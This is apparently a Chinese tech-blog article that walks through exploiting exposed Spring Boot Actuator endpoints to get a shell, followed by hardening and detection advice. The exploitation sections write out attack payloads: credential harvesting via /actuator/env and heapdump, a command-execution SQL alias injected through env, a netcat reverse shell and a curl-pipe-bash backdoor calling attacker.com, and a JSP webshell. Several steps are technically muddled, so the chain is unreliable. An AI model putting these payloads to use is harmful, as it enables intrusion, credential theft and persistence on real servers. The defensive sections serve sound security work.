溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Spring Boot Actuator從未授權訪問到getshell的示例分析

發布時間:2022-01-15 10:17:29 來源:億速云 閱讀:581 作者:柒染 欄目:網絡安全
# Spring Boot Actuator從未授權訪問到getshell的示例分析

## 0x00 前言

Spring Boot Actuator是Spring Boot提供的生產級功能模塊,用于監控和管理應用程序。然而當配置不當時,其暴露的敏感端點可能成為攻擊者突破系統防線的入口。本文將通過一個完整的滲透測試案例,詳細分析如何從Actuator未授權訪問漏洞逐步獲取服務器權限。

## 0x01 漏洞背景

### 1.1 Actuator端點簡介
Spring Boot Actuator默認提供以下關鍵端點(部分):
```plaintext
/actuator/health        - 應用健康狀態
/actuator/env           - 環境變量信息
/actuator/beans         - 所有Spring Beans
/actuator/mappings      - URL路由映射
/actuator/heapdump      - 堆內存轉儲

1.2 常見危險配置

導致漏洞的典型配置:

# application.yml錯誤配置示例
management:
  endpoints:
    web:
      exposure:
        include: "*"  # 暴露所有端點
  endpoint:
    health:
      show-details: always

0x02 漏洞發現階段

2.1 信息收集

使用自動化工具掃描發現可疑端點:

$ curl http://target.com/actuator
{
    "_links":{
        "env":{"href":"/actuator/env"},
        "heapdump":{"href":"/actuator/heapdump"},
        "mappings":{"href":"/actuator/mappings"}
    }
}

2.2 敏感信息泄露驗證

訪問env端點獲取關鍵配置:

$ curl http://target.com/actuator/env
{
    "activeProfiles":["prod"],
    "propertySources":[
        {
            "name":"systemEnvironment",
            "properties":{
                "DATABASE_PASSWORD":{"value":"P@ssw0rd123!"},
                "API_KEY":{"value":"sk_live_abcdef123456"}
            }
        }
    ]
}

0x03 漏洞利用階段

3.1 利用heapdump分析內存

  1. 下載堆轉儲文件:
wget http://target.com/actuator/heapdump -O memory.hprof
  1. 使用Eclipse MAT分析:
// 發現數據庫連接池中的明文密碼
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
-> connectionProperties = {user=admin, password=Admin@123}

3.2 動態屬性注入攻擊

通過env端點修改運行時配置:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name":"spring.datasource.tomcat.validation-query",
    "value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"success\";}';"
}

3.3 執行系統命令

  1. 首先刷新配置:
POST /actuator/refresh HTTP/1.1
  1. 觸發命令執行:
GET /actuator/datasource?query=EXEC('nc+-e+/bin/bash+attacker.com+4444') HTTP/1.1

0x04 權限提升與持久化

4.1 寫入WebShell

利用H2數據庫的SQL注入特性:

CREATE TABLE shell(
    id int primary key, 
    content varchar(255)
AS VALUES(1, '<%@page import="java.util.*,java.io.*"%><% if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String line;while((line=br.readLine())!=null){out.println(line);}}%>')

4.2 創建定時任務

通過cron表達式注入:

POST /actuator/env HTTP/1.1
Content-Type: application/json

{
    "name":"spring.datasource.hikari.connection-init-sql",
    "value":"CREATE EVENT IF NOT EXISTS backdoor ON SCHEDULE EVERY 1 MINUTE DO CALL EXEC('curl http://attacker.com/shell.sh | bash')"
}

0x05 漏洞防御方案

5.1 基礎防護措施

management:
  endpoints:
    web:
      exposure:
        include: health,info  # 僅開放必要端點
      base-path: /internal   # 修改默認路徑
  endpoint:
    shutdown:
      enabled: false

5.2 進階安全配置

  1. 添加認證保護:
@Configuration
public class ActuatorSecurity extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.requestMatcher(EndpointRequest.toAnyEndpoint())
            .authorizeRequests().anyRequest().hasRole("ADMIN")
            .and().httpBasic();
    }
}
  1. 網絡層防護:
location ~ ^/actuator {
    allow 192.168.1.0/24;
    deny all;
    auth_basic "Restricted";
    auth_basic_user_file /etc/nginx/.htpasswd;
}

0x06 攻擊檢測與溯源

6.1 異常請求特征

需監控的惡意請求模式: - 高頻訪問/actuator/env端點 - POST請求修改運行時配置 - 非常規User-Agent掃描行為

6.2 日志分析示例

2023-07-15 14:32:17 WARN  o.s.b.a.e.web.EndpointLinksResolver - Potential malicious access attempt from 45.33.12.8 to /actuator/heapdump
2023-07-15 14:33:45 ERROR o.a.c.c.C.[.[.[/].[dispatcherServlet] - Servlet.service() for servlet [dispatcherServlet] threw exception: org.springframework.security.authentication.BadCredentialsException

0x07 總結與思考

  1. 漏洞本質原因:
  • 過度暴露敏感端點
  • 缺乏必要的認證授權
  • 運行時配置可被篡改
  1. 防御體系建設:
  • 最小化暴露原則
  • 多層次訪問控制
  • 配置變更審計
  1. 開發建議:
// 安全啟動檢查示例
@SpringBootApplication
public class Application {
    public static void main(String[] args) {
        SpringApplication app = new SpringApplication(Application.class);
        app.setAddCommandLineProperties(false); // 禁止命令行參數覆蓋
        app.run(args);
    }
}

參考資源

  1. Spring Boot官方安全指南
  2. OWASP Actuator安全備忘單
  3. CVE-2022-22965相關分析

”`

注:本文所述技術僅供安全研究使用,請勿用于非法用途。實際測試前務必獲得書面授權。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女